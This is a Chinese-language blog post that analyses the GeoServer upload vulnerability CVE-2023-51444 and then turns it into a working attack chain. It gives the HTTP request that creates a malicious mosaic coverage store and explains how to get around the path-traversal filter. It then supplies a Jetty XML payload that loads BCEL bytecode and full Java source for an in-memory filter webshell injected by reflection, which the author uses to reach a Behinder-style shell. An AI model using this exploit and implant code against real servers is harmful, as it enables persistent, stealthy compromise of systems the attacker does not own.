CVE-2023-51444-漏洞剖析到内存马注入
q3let 发表于 上海 技术文章 5125浏览 · 2024-06-12 11:13

在Geoserver后台文件上传漏洞的POC(CVE-2023-51444)公开出来之后,发现对于漏洞利用有一些迷惑的的地方,且最终利用还存在部分瑕疵,于是展开了后续的学习研究。

漏洞利用

根据公开的漏洞分析文章显示,漏洞利用主要分为两部分。

1.通过rest接口新建mosaic类型的coveragestrore空间。

2.通过rest访问新建coveragestrore空间跨目录上传文件。

这里启动一个geoserver-2.19.1版本来做测试。

通过公开文章的复现,可以发现,新建mosaic类型的coveragestrore空间这一步实际上是通过数据存储功能-添加数据源来实现的

注意这里是mosaic_sample

添加完之后,会在data_dir/workspaces/<工作区>生成一个包含数据源名称的目录,里面包含coverageStore.xml文件。

对于这个请求的数据包的格式很奇怪。

会产生这个疑惑来源于拿到的payload完全跟它不一样,但结果是一样的。通过查阅官方文档,发现原因是geoserver提供了restful接口来进行资源修改。

也就是说,通过geoserver的restapi可以实现geoserver的任意功能。通过前面分析,我们最终是写入一个coverageStore.xml文件,我们尝试是否可以通过rest来实现这个结果。

通过查看/workspace接口下的的接口文档https://docs.geoserver.org/latest/en/api/#1.0.0/workspaces.yaml,发现接口描述并不清晰,只给出了大致路径

只能从日志着手,从日志查看发现是调用了org.geoserver.rest.catalog.CoverageStoreController.coverageStorePost

对应的path为/rest/workspaces/{workspaceName}/coveragestores

所以这里我们的这里只需要post请求对应的xml内容即可,注意这里的url的workspaceName对应的是xml的<workspace><name>sde</name></workspace>,因为在请求过程中会在org.geoserver.catalog.impl.CatalogImpl#validate进行校验对应的storeName,如果workspaceName对应不起来是找不到的。

请求包如下,这样就算添加coveragestores成功。

具体数据包如下,这里post内容实际上只对最开始的xml内容做了微小改动,去除了id,添加了workspaceName。

POST /geoserver/rest/workspaces/sde/coveragestores HTTP/1.1
Host: 192.168.1.4:18080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_15_1; rv:121.0esr) Gecko/20010101 Firefox/121.0esr
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.4:18080/geoserver/index.html
Connection: close
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46Z2Vvc2VydmVy
Content-Type: application/xml
Content-Length: 265

<coverageStore>
<name>bypass</name>
  <description>111</description>
  <type>ImageMosaic</type>
  <enabled>true</enabled>
  <workspace><name>sde</name>
  </workspace>
  <__default>false</__default>
  <url>file:coverages/mosaic_sample</url>
</coverageStore>

在添加完之后,就是后续的上传了,这里只对代码做简单分析,上传代码在org.geoserver.rest.catalog.CoverageStoreFileController#coverageStorePost

传递的参数都很明显,workspaceName和storeName都是前面分析过的,这里method是AbstractStoreUploadController.UploadMethod类型

它实际上是一个常量类

这里怎么选择到底是哪个常量呢,需要继续分析上传的代码,根据代码来看,上传应该是doFileUpload触发

需要注意这里还需要满足StructuredGridCoverage2DReader,查看这个接口的实现类

也就是传递mosaic类型的就行了。

继续跟进上传这个方法的定义

很明显我们需要进行else分支才可以创建对应workspace的store资源,根据前面来看,不能是remoteurl,继续往下面看createUploadRoot

发现path就是coverage的file参数,也就是xml的file参数,path基本未发生变化。然后到了handleFileUpload

在常量是file的时候进入RESTUtils.handleBinUpload(filename, directory, cleanPreviousContents, request, workspace);,继续往下面看

最终写入的路径是newFile的值,所以主要关注它的改动,发现itemPath就是一个字符串类型转换而已,最后又变成字符串了,接下来试试上传。

抛出了异常

查看代码发现ToPath过滤了三个部分,如下

主要是目录穿越和特殊符号。

于是从刚刚的上传调用栈继续往后分析

进入这个get方法

基本不存在其他分支了,要绕过的话需要继续往前回溯,directory参数是createRoot的时候获取的,查看

继续查看Resources.fromPath

发现里面通过isAbsolute来判断是否是绝对路径,是的话调用asResource,返回ResourceAdaptor类型。

发现是直接返回文件的绝对路径。也就是说我们需要控制createRoot的path参数为绝对路径即可,也就是第一步创建store的时候的url。

上传成功。文件最后的位置实际上就是url参数+filename参数。

武器化

说完了漏洞利用,实战中有同事发现实际环境中基本不存在jsp解析依赖,导致上传不了webshell,这时候就需要利用jetty的xml配置文件解析来注入内存马。

当jdk小于8u251的时候,利用bcel的classloader来加载任意字节码,参考jetty xml trick

payload如下

<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure id="abc" class="org.eclipse.jetty.webapp.WebAppContext">
  <New id="cl" class="com.sun.org.apache.bcel.internal.util.ClassLoader">
    <Call name="loadClass">
      <Arg>$$BCEL$$xxx</Arg>
      <Call name="newInstance"></Call>
    </Call>
  </New>
</Configure>

对于字节码的类

参考jetty的filter内存马

需要做一部分改动,首先是由于双亲委派的原因,bcel的ClassLoader无法使用servlet-api的相关类,需要用starjar的classloader或者webappclassloader来加载对应类,如下

threadClassloader.loadClass("javax.servlet.Filter");

然后是对应filter的类,利用defineClass来加载到WebAppClassLoader。需要注意对应servlet-api的所有类均不能直接调用,只能使用反射的方法实现。

具体代码实现如下:

package com.bypass;
import sun.misc.BASE64Decoder;
import java.lang.reflect.*;
import java.util.*;

public class xxx  {
    private static synchronized Object getField(Object o, String k) throws Exception{
        Field f;
        try {
            f = o.getClass().getDeclaredField(k);
        } catch (NoSuchFieldException e) {
            try{
                f = o.getClass().getSuperclass().getDeclaredField(k);
            }catch (Exception e1){
                f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
            }
        }
        f.setAccessible(true);
        return f.get(o);
    }


    static {
        try {
            String filterName = "com.bypass.xxx";
            String urlPatter = "/bypass";
            Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
            threadMethod.setAccessible(true);
            Thread[] threads = (Thread[]) threadMethod.invoke(null);
            java.lang.ClassLoader threadClassloader = null;
            for (Thread thread:threads){
                threadClassloader = thread.getContextClassLoader();
                if (threadClassloader!=null){
                    if (threadClassloader.toString().contains("WebAppClassLoader")){
                        Object webAppContext = getField(threadClassloader,"_context");
                        Object servletHandler = getField(webAppContext,"_servletHandler");
                        Object[] filters = (Object[]) getField(servletHandler,"_filters");
                        Boolean flag = false;
                        for (Object f:filters){
                            Field fieldFilerName = f.getClass().getSuperclass().getDeclaredField("_name");
                            fieldFilerName.setAccessible(true);
                            String name = (String) fieldFilerName.get(f);
                            System.out.println(name);
                            if (name.equals(filterName)){
                                flag = true;
                                break;
                            }
                        }
                        if (flag){
                            System.out.println("[+] exist filter!! " + filterName);
                            break;
                        }
                        System.out.println("[+] Add Filter: " + filterName);
                        System.out.println("[+] urlPattern: " + urlPatter);
                        threadClassloader.loadClass("javax.servlet.Filter");
                        threadClassloader.loadClass("javax.servlet.ServletRequest");
                        threadClassloader.loadClass("javax.servlet.ServletResponse");
                        threadClassloader.loadClass("javax.servlet.FilterChain");
                        threadClassloader.loadClass("javax.servlet.FilterConfig");
                        threadClassloader.loadClass("javax.servlet.http.HttpServletRequest");
                        threadClassloader.loadClass("javax.servlet.http.HttpServletResponse");
                        threadClassloader.loadClass("javax.servlet.http.HttpServletRequest");
                        threadClassloader.loadClass("javax.servlet.http.HttpSession");
                        System.out.println("[+] end javax!");
                        Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
                        a.setAccessible(true);
                        String clasz = "base64编码";
                        byte[] b = (new BASE64Decoder()).decodeBuffer(clasz);
                        System.out.println("[+] "+threadClassloader);
                        System.out.println("[+] start load Filter!");
                        a.invoke(threadClassloader, b, 0, b.length);
                        System.out.println("[+]defineClass加载成功! ");
                        System.out.println("[+] start get Filter!");
                        Class<?> hFilterClass = threadClassloader.loadClass("com.bypass.TestFilter");
                        System.out.println("[+] "+hFilterClass);
                        System.out.println("[+] end load Filter!");
                        Object HFilter = hFilterClass.newInstance();
                        System.out.println("[+] 获取HFilter! "+ hFilterClass.newInstance());
                        System.out.println("[+] "+servletHandler.getClass());

                        //反射获取JAVA_API
                        Class sourceClazz = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");
                        Field API = sourceClazz.getDeclaredField("JAVAX_API");
                        Method newFilterHolder = servletHandler.getClass().getMethod("newFilterHolder",sourceClazz);
                        Object holder = newFilterHolder.invoke(servletHandler, API.get(null));
                        System.out.println("[+] 获取FilterHolder "+holder.getClass());

                        //setName、setFilter、addFilter
                        holder.getClass().getMethod("setName",String.class).invoke(holder, filterName);
                        holder.getClass().getMethod("setFilter", HFilter.getClass().getInterfaces()[0]).invoke(holder, HFilter);
                        servletHandler.getClass().getMethod("addFilter",holder.getClass()).invoke(servletHandler,holder);

                        //FilterMapping
                        Class FilterMappingClz = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping");
                        Object FilterMapping = FilterMappingClz.newInstance();
                        Method setFilterHolder = FilterMapping.getClass().getDeclaredMethod("setFilterHolder",holder.getClass());
                        setFilterHolder.setAccessible(true);
                        setFilterHolder.invoke(FilterMapping,holder);
                        FilterMapping.getClass().getMethod("setPathSpecs",String[].class).invoke(FilterMapping,new Object[]{new String[]{urlPatter}});

                        //获取DispatcherType.REQUEST
                        Class Dis = threadClassloader.loadClass("javax.servlet.DispatcherType");
                        Object request = Dis.getDeclaredField("REQUEST").get(null);
                        System.out.println("[+] 获取DispatcherType "+request);

                        //转换枚举常量
                        System.out.println("[+] 获取DispatcherType枚举常量 "+EnumSet.of(Enum.valueOf(Dis,"REQUEST")));
                        FilterMapping.getClass().getMethod("setDispatcherTypes",EnumSet.class).invoke(FilterMapping,EnumSet.of(Enum.valueOf(Dis,"REQUEST")));
                        servletHandler.getClass().getMethod("prependFilterMapping",FilterMapping.getClass()).invoke(servletHandler,FilterMapping);
                        System.out.println("[+] FilterMapping! "+FilterMapping);
                        System.out.println("success!");
                        break;
                    }
                }
            }
        }catch (Exception exception){}
    }

}

冰蝎马的逻辑

接下来利用woodpecker生成bcel字节码。

上传xml到webapps目录。

触发内存马逻辑。

访问发现注入成功,连接内存马

后续

当然bcel的缺陷也很明显,jdk8u251之后移除了这个加载字节码的classloader,对于高版本的jdk,17or21,则需要利用其他办法来解决,不过已经有师傅公开过诸多文章,这里就不详细描述,感兴趣可自行实现或联系我一起讨论交流。

2 条评论
某人
表情
可输入 255
目录